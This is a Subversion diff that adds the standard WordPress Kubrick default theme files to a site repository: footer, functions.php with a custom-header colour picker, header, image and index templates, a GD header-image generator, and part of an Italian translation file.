+		<?php printf(__('%1$s is proudly powered by %2$s', 'kubrick'), get_bloginfo('name'),
+		'<a href="http://wordpress.org/">WordPress</a>'); ?>
+		<br /><?php printf(__('%1$s and %2$s.', 'kubrick'), '<a href="' . get_bloginfo('rss2_url') . '">' . __('Entries (RSS)', 'kubrick') . '</a>', '<a href="' . get_bloginfo('comments_rss2_url') . '">' . __('Comments (RSS)', 'kubrick') . '</a>'); ?>
+		<!-- <?php printf(__('%d queries. %s seconds.', 'kubrick'), get_num_queries(), timer_stop(0, 3)); ?> -->
+	</p>
+</div>
+</div>
+
+<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
+<?php /* "Just what do you think you're doing Dave?" */ ?>
+
+		<?php wp_footer(); ?>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/functions.php	(revision 44)
@@ -0,0 +1,427 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+load_theme_textdomain( 'kubrick' );
+
+automatic_feed_links();
+
+if ( function_exists('register_sidebar') ) {
+	register_sidebar(array(
+		'before_widget' => '<li id="%1$s" class="widget %2$s">',
+		'after_widget' => '</li>',
+		'before_title' => '<h2 class="widgettitle">',
+		'after_title' => '</h2>',
+	));
+}
+
+/** @ignore */
+function kubrick_head() {
+	$head = "<style type='text/css'>\n<!--";
+	$output = '';
+	if ( kubrick_header_image() ) {
+		$url =  kubrick_header_image_url() ;
+		$output .= "#header { background: url('$url') no-repeat bottom center; }\n";
+	}
+	if ( false !== ( $color = kubrick_header_color() ) ) {
+		$output .= "#headerimg h1 a, #headerimg h1 a:visited, #headerimg .description { color: $color; }\n";
+	}
+	if ( false !== ( $display = kubrick_header_display() ) ) {
+		$output .= "#headerimg { display: $display }\n";
+	}
+	$foot = "--></style>\n";
+	if ( '' != $output )
+		echo $head . $output . $foot;
+}
+
+add_action('wp_head', 'kubrick_head');
+
+function kubrick_header_image() {
+	return apply_filters('kubrick_header_image', get_option('kubrick_header_image'));
+}
+
+function kubrick_upper_color() {
+	if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
+		parse_str(substr($url, strpos($url, '?') + 1), $q);
+		return $q['upper'];
+	} else
+		return '69aee7';
+}
+
+function kubrick_lower_color() {
+	if (strpos($url = kubrick_header_image_url(), 'header-img.php?') !== false) {
+		parse_str(substr($url, strpos($url, '?') + 1), $q);
+		return $q['lower'];
+	} else
+		return '4180b6';
+}
+
+function kubrick_header_image_url() {
+	if ( $image = kubrick_header_image() )
+		$url = get_template_directory_uri() . '/images/' . $image;
+	else
+		$url = get_template_directory_uri() . '/images/kubrickheader.jpg';
+
+	return $url;
+}
+
+function kubrick_header_color() {
+	return apply_filters('kubrick_header_color', get_option('kubrick_header_color'));
+}
+
+function kubrick_header_color_string() {
+	$color = kubrick_header_color();
+	if ( false === $color )
+		return 'white';
+
+	return $color;
+}
+
+function kubrick_header_display() {
+	return apply_filters('kubrick_header_display', get_option('kubrick_header_display'));
+}
+
+function kubrick_header_display_string() {
+	$display = kubrick_header_display();
+	return $display ? $display : 'inline';
+}
+
+add_action('admin_menu', 'kubrick_add_theme_page');
+
+function kubrick_add_theme_page() {
+	if ( isset( $_GET['page'] ) && $_GET['page'] == basename(__FILE__) ) {
+		if ( isset( $_REQUEST['action'] ) && 'save' == $_REQUEST['action'] ) {
+			check_admin_referer('kubrick-header');
+			if ( isset($_REQUEST['njform']) ) {
+				if ( isset($_REQUEST['defaults']) ) {
+					delete_option('kubrick_header_image');
+					delete_option('kubrick_header_color');
+					delete_option('kubrick_header_display');
+				} else {
+					if ( '' == $_REQUEST['njfontcolor'] )
+						delete_option('kubrick_header_color');
+					else {
+						$fontcolor = preg_replace('/^.*(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['njfontcolor']);
+						update_option('kubrick_header_color', $fontcolor);
+					}
+					if ( preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njuppercolor'], $uc) && preg_match('/[0-9A-F]{6}|[0-9A-F]{3}/i', $_REQUEST['njlowercolor'], $lc) ) {
+						$uc = ( strlen($uc[0]) == 3 ) ? $uc[0]{0}.$uc[0]{0}.$uc[0]{1}.$uc[0]{1}.$uc[0]{2}.$uc[0]{2} : $uc[0];
+						$lc = ( strlen($lc[0]) == 3 ) ? $lc[0]{0}.$lc[0]{0}.$lc[0]{1}.$lc[0]{1}.$lc[0]{2}.$lc[0]{2} : $lc[0];
+						update_option('kubrick_header_image', "header-img.php?upper=$uc&lower=$lc");
+					}
+
+					if ( isset($_REQUEST['toggledisplay']) ) {
+						if ( false === get_option('kubrick_header_display') )
+							update_option('kubrick_header_display', 'none');
+						else
+							delete_option('kubrick_header_display');
+					}
+				}
+			} else {
+
+				if ( isset($_REQUEST['headerimage']) ) {
+					check_admin_referer('kubrick-header');
+					if ( '' == $_REQUEST['headerimage'] )
+						delete_option('kubrick_header_image');
+					else {
+						$headerimage = preg_replace('/^.*?(header-img.php\?upper=[0-9a-fA-F]{6}&lower=[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['headerimage']);
+						update_option('kubrick_header_image', $headerimage);
+					}
+				}
+
+				if ( isset($_REQUEST['fontcolor']) ) {
+					check_admin_referer('kubrick-header');
+					if ( '' == $_REQUEST['fontcolor'] )
+						delete_option('kubrick_header_color');
+					else {
+						$fontcolor = preg_replace('/^.*?(#[0-9a-fA-F]{6})?.*$/', '$1', $_REQUEST['fontcolor']);
+						update_option('kubrick_header_color', $fontcolor);
+					}
+				}
+
+				if ( isset($_REQUEST['fontdisplay']) ) {
+					check_admin_referer('kubrick-header');
+					if ( '' == $_REQUEST['fontdisplay'] || 'inline' == $_REQUEST['fontdisplay'] )
+						delete_option('kubrick_header_display');
+					else
+						update_option('kubrick_header_display', 'none');
+				}
+			}
+			//print_r($_REQUEST);
+			wp_redirect("themes.php?page=functions.php&saved=true");
+			die;
+		}
+		add_action('admin_head', 'kubrick_theme_page_head');
+	}
+	add_theme_page(__('Custom Header'), __('Custom Header'), 'edit_themes', basename(__FILE__), 'kubrick_theme_page');
+}
+
+function kubrick_theme_page_head() {
+?>
+<script type="text/javascript" src="../wp-includes/js/colorpicker.js"></script>
+<script type='text/javascript'>
+// <![CDATA[
+	function pickColor(color) {
+		ColorPicker_targetInput.value = color;
+		kUpdate(ColorPicker_targetInput.id);
+	}
+	function PopupWindow_populate(contents) {
+		contents += '<br /><p style="text-align:center;margin-top:0px;"><input type="button" class="button-secondary" value="<?php esc_attr_e('Close Color Picker'); ?>" onclick="cp.hidePopup(\'prettyplease\')"></input></p>';
+		this.contents = contents;
+		this.populated = false;
+	}
+	function PopupWindow_hidePopup(magicword) {
+		if ( magicword != 'prettyplease' )
+			return false;
+		if (this.divName != null) {
+			if (this.use_gebi) {
+				document.getElementById(this.divName).style.visibility = "hidden";
+			}
+			else if (this.use_css) {
+				document.all[this.divName].style.visibility = "hidden";
+			}
+			else if (this.use_layers) {
+				document.layers[this.divName].visibility = "hidden";
+			}
+		}
+		else {
+			if (this.popupWindow && !this.popupWindow.closed) {
+				this.popupWindow.close();
+				this.popupWindow = null;
+			}
+		}
+		return false;
+	}
+	function colorSelect(t,p) {
+		if ( cp.p == p && document.getElementById(cp.divName).style.visibility != "hidden" )
+			cp.hidePopup('prettyplease');
+		else {
+			cp.p = p;
+			cp.select(t,p);
+		}
+	}
+	function PopupWindow_setSize(width,height) {
+		this.width = 162;
+		this.height = 210;
+	}
+
+	var cp = new ColorPicker();
+	function advUpdate(val, obj) {
+		document.getElementById(obj).value = val;
+		kUpdate(obj);
+	}
+	function kUpdate(oid) {
+		if ( 'uppercolor' == oid || 'lowercolor' == oid ) {
+			uc = document.getElementById('uppercolor').value.replace('#', '');
+			lc = document.getElementById('lowercolor').value.replace('#', '');
+			hi = document.getElementById('headerimage');
+			hi.value = 'header-img.php?upper='+uc+'&lower='+lc;
+			document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/'+hi.value+'") center no-repeat';
+			document.getElementById('advuppercolor').value = '#'+uc;
+			document.getElementById('advlowercolor').value = '#'+lc;
+		}
+		if ( 'fontcolor' == oid ) {
+			document.getElementById('header').style.color = document.getElementById('fontcolor').value;
+			document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value;
+		}
+		if ( 'fontdisplay' == oid ) {
+			document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
+		}
+	}
+	function toggleDisplay() {
+		td = document.getElementById('fontdisplay');
+		td.value = ( td.value == 'none' ) ? 'inline' : 'none';
+		kUpdate('fontdisplay');
+	}
+	function toggleAdvanced() {
+		a = document.getElementById('jsAdvanced');
+		if ( a.style.display == 'none' )
+			a.style.display = 'block';
+		else
+			a.style.display = 'none';
+	}
+	function kDefaults() {
+		document.getElementById('headerimage').value = '';
+		document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#69aee7';
+		document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#4180b6';
+		document.getElementById('header').style.background = 'url("<?php echo get_template_directory_uri(); ?>/images/kubrickheader.jpg") center no-repeat';
+		document.getElementById('header').style.color = '#FFFFFF';
+		document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '';
+		document.getElementById('fontdisplay').value = 'inline';
+		document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
+	}
+	function kRevert() {
+		document.getElementById('headerimage').value = '<?php echo esc_js(kubrick_header_image()); ?>';
+		document.getElementById('advuppercolor').value = document.getElementById('uppercolor').value = '#<?php echo esc_js(kubrick_upper_color()); ?>';
+		document.getElementById('advlowercolor').value = document.getElementById('lowercolor').value = '#<?php echo esc_js(kubrick_lower_color()); ?>';
+		document.getElementById('header').style.background = 'url("<?php echo esc_js(kubrick_header_image_url()); ?>") center no-repeat';
+		document.getElementById('header').style.color = '';
+		document.getElementById('advfontcolor').value = document.getElementById('fontcolor').value = '<?php echo esc_js(kubrick_header_color_string()); ?>';
+		document.getElementById('fontdisplay').value = '<?php echo esc_js(kubrick_header_display_string()); ?>';
+		document.getElementById('headerimg').style.display = document.getElementById('fontdisplay').value;
+	}
+	function kInit() {
+		document.getElementById('jsForm').style.display = 'block';
+		document.getElementById('nonJsForm').style.display = 'none';
+	}
+	addLoadEvent(kInit);
+// ]]>
+</script>
+<style type='text/css'>
+	#headwrap {
+		text-align: center;
+	}
+	#kubrick-header {
+		font-size: 80%;
+	}
+	#kubrick-header .hibrowser {
+		width: 780px;
+		height: 260px;
+		overflow: scroll;
+	}
+	#kubrick-header #hitarget {
+		display: none;
+	}
+	#kubrick-header #header h1 {
+		font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
+		font-weight: bold;
+		font-size: 4em;
+		text-align: center;
+		padding-top: 70px;
+		margin: 0;
+	}
+
+	#kubrick-header #header .description {
+		font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
+		font-size: 1.2em;
+		text-align: center;
+	}
+	#kubrick-header #header {
+		text-decoration: none;
+		color: <?php echo kubrick_header_color_string(); ?>;
+		padding: 0;
+		margin: 0;
+		height: 200px;
+		text-align: center;
+		background: url('<?php echo kubrick_header_image_url(); ?>') center no-repeat;
+	}
+	#kubrick-header #headerimg {
+		margin: 0;
+		height: 200px;
+		width: 100%;
+		display: <?php echo kubrick_header_display_string(); ?>;
+	}
+	#jsForm {
+		display: none;
+		text-align: center;
+	}
+	#jsForm input.submit, #jsForm input.button, #jsAdvanced input.button {
+		padding: 0px;
+		margin: 0px;
+	}
+	#advanced {
+		text-align: center;
+		width: 620px;
+	}
+	html>body #advanced {
+		text-align: center;
+		position: relative;
+		left: 50%;
+		margin-left: -380px;
+	}
+	#jsAdvanced {
+		text-align: right;
+	}
+	#nonJsForm {
+		position: relative;
+		text-align: left;
+		margin-left: -370px;
+		left: 50%;
+	}
+	#nonJsForm label {
+		padding-top: 6px;
+		padding-right: 5px;
+		float: left;
+		width: 100px;
+		text-align: right;
+	}
+	.defbutton {
+		font-weight: bold;
+	}
+	.zerosize {
+		width: 0px;
+		height: 0px;
+		overflow: hidden;
+	}
+	#colorPickerDiv a, #colorPickerDiv a:hover {
+		padding: 1px;
+		text-decoration: none;
+		border-bottom: 0px;
+	}
+</style>
+<?php
+}
+
+function kubrick_theme_page() {
+	if ( isset( $_REQUEST['saved'] ) ) echo '<div id="message" class="updated fade"><p><strong>'.__('Options saved.').'</strong></p></div>';
+?>
+<div class='wrap'>
+	<h2><?php _e('Customize Header'); ?></h2>
+	<div id="kubrick-header">
+		<div id="headwrap">
+			<div id="header">
+				<div id="headerimg">
+					<h1><?php bloginfo('name'); ?></h1>
+					<div class="description"><?php bloginfo('description'); ?></div>
+				</div>
+			</div>
+		</div>
+		<br />
+		<div id="nonJsForm">
+			<form method="post" action="">
+				<?php wp_nonce_field('kubrick-header'); ?>
+				<div class="zerosize"><input type="submit" name="defaultsubmit" value="<?php esc_attr_e('Save'); ?>" /></div>
+					<label for="njfontcolor"><?php _e('Font Color:'); ?></label><input type="text" name="njfontcolor" id="njfontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" /> <?php printf(__('Any CSS color (%s or %s or %s)'), '<code>red</code>', '<code>#FF0000</code>', '<code>rgb(255, 0, 0)</code>'); ?><br />
+					<label for="njuppercolor"><?php _e('Upper Color:'); ?></label><input type="text" name="njuppercolor" id="njuppercolor" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
+				<label for="njlowercolor"><?php _e('Lower Color:'); ?></label><input type="text" name="njlowercolor" id="njlowercolor" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /> <?php printf(__('HEX only (%s or %s)'), '<code>#FF0000</code>', '<code>#F00</code>'); ?><br />
+				<input type="hidden" name="hi" id="hi" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
+				<input type="submit" name="toggledisplay" id="toggledisplay" value="<?php esc_attr_e('Toggle Text'); ?>" />
+				<input type="submit" name="defaults" value="<?php esc_attr_e('Use Defaults'); ?>" />
+				<input type="submit" class="defbutton" name="submitform" value="&nbsp;&nbsp;<?php esc_attr_e('Save'); ?>&nbsp;&nbsp;" />
+				<input type="hidden" name="action" value="save" />
+				<input type="hidden" name="njform" value="true" />
+			</form>
+		</div>
+		<div id="jsForm">
+			<form style="display:inline;" method="post" name="hicolor" id="hicolor" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>">
+				<?php wp_nonce_field('kubrick-header'); ?>
+	<input type="button"  class="button-secondary" onclick="tgt=document.getElementById('fontcolor');colorSelect(tgt,'pick1');return false;" name="pick1" id="pick1" value="<?php esc_attr_e('Font Color'); ?>"></input>
+		<input type="button" class="button-secondary" onclick="tgt=document.getElementById('uppercolor');colorSelect(tgt,'pick2');return false;" name="pick2" id="pick2" value="<?php esc_attr_e('Upper Color'); ?>"></input>
+		<input type="button" class="button-secondary" onclick="tgt=document.getElementById('lowercolor');colorSelect(tgt,'pick3');return false;" name="pick3" id="pick3" value="<?php esc_attr_e('Lower Color'); ?>"></input>
+				<input type="button" class="button-secondary" name="revert" value="<?php esc_attr_e('Revert'); ?>" onclick="kRevert()" />
+				<input type="button" class="button-secondary" value="<?php esc_attr_e('Advanced'); ?>" onclick="toggleAdvanced()" />
+				<input type="hidden" name="action" value="save" />
+				<input type="hidden" name="fontdisplay" id="fontdisplay" value="<?php echo esc_attr(kubrick_header_display()); ?>" />
+				<input type="hidden" name="fontcolor" id="fontcolor" value="<?php echo esc_attr(kubrick_header_color()); ?>" />
+				<input type="hidden" name="uppercolor" id="uppercolor" value="<?php echo esc_attr(kubrick_upper_color()); ?>" />
+				<input type="hidden" name="lowercolor" id="lowercolor" value="<?php echo esc_attr(kubrick_lower_color()); ?>" />
+				<input type="hidden" name="headerimage" id="headerimage" value="<?php echo esc_attr(kubrick_header_image()); ?>" />
+				<p class="submit"><input type="submit" name="submitform" class="button-primary" value="<?php esc_attr_e('Update Header'); ?>" onclick="cp.hidePopup('prettyplease')" /></p>
+			</form>
+			<div id="colorPickerDiv" style="z-index: 100;background:#eee;border:1px solid #ccc;position:absolute;visibility:hidden;"> </div>
+			<div id="advanced">
+				<form id="jsAdvanced" style="display:none;" action="">
+					<?php wp_nonce_field('kubrick-header'); ?>
+					<label for="advfontcolor"><?php _e('Font Color (CSS):'); ?> </label><input type="text" id="advfontcolor" onchange="advUpdate(this.value, 'fontcolor')" value="<?php echo esc_attr(kubrick_header_color()); ?>" /><br />
+					<label for="advuppercolor"><?php _e('Upper Color (HEX):');?> </label><input type="text" id="advuppercolor" onchange="advUpdate(this.value, 'uppercolor')" value="#<?php echo esc_attr(kubrick_upper_color()); ?>" /><br />
+					<label for="advlowercolor"><?php _e('Lower Color (HEX):'); ?> </label><input type="text" id="advlowercolor" onchange="advUpdate(this.value, 'lowercolor')" value="#<?php echo esc_attr(kubrick_lower_color()); ?>" /><br />
+					<input type="button" class="button-secondary" name="default" value="<?php esc_attr_e('Select Default Colors'); ?>" onclick="kDefaults()" /><br />
+					<input type="button" class="button-secondary" onclick="toggleDisplay();return false;" name="pick" id="pick" value="<?php esc_attr_e('Toggle Text Display'); ?>"></input><br />
+				</form>
+			</div>
+		</div>
+	</div>
+</div>
+<?php } ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/header.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+
+<title><?php wp_title('&laquo;', true, 'right'); ?> <?php bloginfo('name'); ?></title>
+
+<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
+<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+
+<style type="text/css" media="screen">
+
+<?php
+// Checks to see whether it needs a sidebar or not
+if ( empty($withcomments) && !is_single() ) {
+?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbg-<?php bloginfo('text_direction'); ?>.jpg") repeat-y top; border: none; }
+<?php } else { // No sidebar ?>
+	#page { background: url("<?php bloginfo('stylesheet_directory'); ?>/images/kubrickbgwide.jpg") repeat-y top; border: none; }
+<?php } ?>
+
+</style>
+
+<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?> 
+
+<?php wp_head(); ?>
+</head>
+<body <?php body_class(); ?>>
+<div id="page">
+
+
+<div id="header" role="banner">
+	<div id="headerimg">
+		<h1><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
+		<div class="description"><?php bloginfo('description'); ?></div>
+	</div>
+</div>
+<hr />
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/image.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/image.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/image.php	(revision 44)
@@ -0,0 +1,70 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header();
+?>
+
+	<div id="content" class="widecolumn">
+
+  <?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+
+		<div class="post" id="post-<?php the_ID(); ?>">
+			<h2><a href="<?php echo get_permalink($post->post_parent); ?>" rev="attachment"><?php echo get_the_title($post->post_parent); ?></a> &raquo; <?php the_title(); ?></h2>
+			<div class="entry">
+				<p class="attachment"><a href="<?php echo wp_get_attachment_url($post->ID); ?>"><?php echo wp_get_attachment_image( $post->ID, 'medium' ); ?></a></p>
+				<div class="caption"><?php if ( !empty($post->post_excerpt) ) the_excerpt(); // this is the "caption" ?></div>
+
+				<?php the_content('<p class="serif">Read the rest of this entry &raquo;</p>'); ?>
+
+				<div class="navigation">
+					<div class="alignleft"><?php previous_image_link() ?></div>
+					<div class="alignright"><?php next_image_link() ?></div>
+				</div>
+				<br class="clear" />
+
+				<p class="postmetadata alt">
+					<small>
+						This entry was posted on <?php the_time('l, F jS, Y') ?> at <?php the_time() ?>
+						and is filed under <?php the_category(', ') ?>.
+						<?php the_taxonomies(); ?>
+						You can follow any responses to this entry through the <?php post_comments_feed_link('RSS 2.0'); ?> feed.
+
+						<?php if ( comments_open() && pings_open() ) {
+							// Both Comments and Pings are open ?>
+							You can <a href="#respond">leave a response</a>, or <a href="<?php trackback_url(); ?>" rel="trackback">trackback</a> from your own site.
+
+						<?php } elseif ( !comments_open() && pings_open() ) {
+							// Only Pings are Open ?>
+							Responses are currently closed, but you can <a href="<?php trackback_url(); ?> " rel="trackback">trackback</a> from your own site.
+
+						<?php } elseif ( comments_open() && !pings_open() ) {
+							// Comments are open, Pings are not ?>
+							You can skip to the end and leave a response. Pinging is currently not allowed.
+
+						<?php } elseif ( !comments_open() && !pings_open() ) {
+							// Neither Comments, nor Pings are open ?>
+							Both comments and pings are currently closed.
+
+						<?php } edit_post_link('Edit this entry.','',''); ?>
+
+					</small>
+				</p>
+
+			</div>
+
+		</div>
+
+	<?php comments_template(); ?>
+
+	<?php endwhile; else: ?>
+
+		<p>Sorry, no attachments matched your criteria.</p>
+
+<?php endif; ?>
+
+	</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/images/header-img.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/images/header-img.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/images/header-img.php	(revision 44)
@@ -0,0 +1,82 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+/** @ignore */
+$img = 'kubrickheader.jpg';
+
+// If we don't have image processing support, redirect.
+if ( ! function_exists('imagecreatefromjpeg') )
+	die(header("Location: kubrickheader.jpg"));
+
+// Assign and validate the color values
+$default = false;
+$vars = array('upper'=>array('r1', 'g1', 'b1'), 'lower'=>array('r2', 'g2', 'b2'));
+foreach ( $vars as $var => $subvars ) {
+	if ( isset($_GET[$var]) ) {
+		foreach ( $subvars as $index => $subvar ) {
+			$length = strlen($_GET[$var]) / 3;
+			$v = substr($_GET[$var], $index * $length, $length);
+			if ( $length == 1 ) $v = '' . $v . $v;
+			$$subvar = hexdec( $v );
+			if ( $$subvar < 0 || $$subvar > 255 )
+				$default = true;
+		}
+	} else {
+		$default = true;
+	}
+}
+
+if ( $default )
+	list ( $r1, $g1, $b1, $r2, $g2, $b2 ) = array ( 105, 174, 231, 65, 128, 182 );
+
+// Create the image
+$im = imagecreatefromjpeg($img);
+
+// Get the background color, define the rectangle height
+$white = imagecolorat( $im, 15, 15 );
+$h = 182;
+
+// Define the boundaries of the rounded edges ( y => array ( x1, x2 ) )
+$corners = array(
+	0 => array ( 25, 734 ),
+	1 => array ( 23, 736 ),
+	2 => array ( 22, 737 ),
+	3 => array ( 21, 738 ),
+	4 => array ( 21, 738 ),
+	177 => array ( 21, 738 ),
+	178 => array ( 21, 738 ),
+	179 => array ( 22, 737 ),
+	180 => array ( 23, 736 ),
+	181 => array ( 25, 734 ),
+	);
+
+// Blank out the blue thing
+for ( $i = 0; $i < $h; $i++ ) {
+	$x1 = 19;
+	$x2 = 740;
+	imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $white );
+}
+
+// Draw a new color thing
+for ( $i = 0; $i < $h; $i++ ) {
+	$x1 = 20;
+	$x2 = 739;
+	$r = ( $r2 - $r1 != 0 ) ? $r1 + ( $r2 - $r1 ) * ( $i / $h ) : $r1;
+	$g = ( $g2 - $g1 != 0 ) ? $g1 + ( $g2 - $g1 ) * ( $i / $h ) : $g1;
+	$b = ( $b2 - $b1 != 0 ) ? $b1 + ( $b2 - $b1 ) * ( $i / $h ) : $b1;
+	$color = imagecolorallocate( $im, $r, $g, $b );
+	if ( array_key_exists($i, $corners) ) {
+		imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $white );
+		list ( $x1, $x2 ) = $corners[$i];
+	}
+	imageline( $im, $x1, 18 + $i, $x2, 18 + $i, $color );
+}
+
+//die;
+header("Content-Type: image/jpeg");
+imagejpeg($im, '', 92);
+imagedestroy($im);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/index.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header(); ?>
+
+	<div id="content" class="narrowcolumn" role="main">
+
+	<?php if (have_posts()) : ?>
+
+		<?php while (have_posts()) : the_post(); ?>
+
+			<div <?php post_class(); ?> id="post-<?php the_ID(); ?>">
+				<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"><?php the_title(); ?></a></h2>
+				<small><?php the_time(__('F jS, Y', 'kubrick')) ?> <!-- by <?php the_author() ?> --></small>
+
+				<div class="entry">
+					<?php the_content(__('Read the rest of this entry &raquo;', 'kubrick')); ?>
+				</div>
+
+				<p class="postmetadata"><?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', '<br />'); ?> <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?> | <?php edit_post_link(__('Edit', 'kubrick'), '', ' | '); ?>  <?php comments_popup_link(__('No Comments &#187;', 'kubrick'), __('1 Comment &#187;', 'kubrick'), __('% Comments &#187;', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?></p>
+			</div>
+
+		<?php endwhile; ?>
+
+		<div class="navigation">
+			<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries', 'kubrick')) ?></div>
+			<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;', 'kubrick')) ?></div>
+		</div>
+
+	<?php else : ?>
+
+		<h2 class="center"><?php _e('Not Found', 'kubrick'); ?></h2>
+		<p class="center"><?php _e('Sorry, but you are looking for something that isn&#8217;t here.', 'kubrick'); ?></p>
+		<?php get_search_form(); ?>
+
+	<?php endif; ?>
+
+	</div>
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/it_IT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/it_IT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/it_IT.po	(revision 44)
@@ -0,0 +1,647 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Kubrick I!(N\n"
+"Report-Msgid-Bugs-To: http://wordpress.org/tag/theme\n"
+"POT-Creation-Date: 2009-05-18 17:54+0300\n"
+"PO-Revision-Date: 2009-07-11 12:22+0100\n"
+"Last-Translator: SteveAgl <steagl@wordpress-it.it>\n"
+"Language-Team: SteveAgl <stefano.aglietti@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=n != 1;\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-SourceCharset: utf-8\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: .\n"
+
+#: 404.php:12
+msgid "Error 404 - Not Found"
+msgstr "Error 404 - Non trovato"
+
+#: archive.php:16
+#, php-format
+msgid "Archive for the &#8216;%s&#8217; Category"
+msgstr "Archivi per la categoria &#8216;%s&#8217;"
+
+#: archive.php:18
+#, php-format
+msgid "Posts Tagged &#8216;%s&#8217;"
+msgstr "Articoli marcati con tag &#8216;%s&#8217;"
+
+#: archive.php:20
+#, php-format
+msgid "Archive for %s|Daily archive page"
+msgstr "Archive del %s|Daily archive page"
+
+#: archive.php:20
+#: index.php:17
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: archive.php:22
+#, php-format
+msgid "Archive for %s|Monthly archive page"
+msgstr "Archivio di %s|Monthly archive page"
+
+#: archive.php:22
+#: sidebar.php:33
+msgid "F, Y"
+msgstr "F Y"
+
+#: archive.php:24
+#, php-format
+msgid "Archive for %s|Yearly archive page"
+msgstr "Archive del %s|Yearly archive page"
+
+#: archive.php:24
+msgid "Y"
+msgstr "Y"
+
+#: archive.php:26
+msgid "Author Archive"
+msgstr "Archivio Autore"
+
+#: archive.php:28
+msgid "Blog Archives"
+msgstr "Archivi Blog"
+
+#: archive.php:33
+#: archive.php:53
+#: index.php:29
+#: search.php:16
+#: search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Vecchi articoli"
+
+#: archive.php:34
+#: archive.php:54
+#: index.php:30
+#: search.php:17
+#: search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Nuovi articoli &raquo;"
+
+#: archive.php:39
+#: index.php:16
+#: search.php:24
+#, php-format
+msgid "Permanent Link to %s"
+msgstr "Permalink a %s"
+
+#: archive.php:40
+#: sidebar.php:30
+#: single.php:34
+msgid "l, F jS, Y"
+msgstr "l, j F Y"
+
+#: archive.php:46
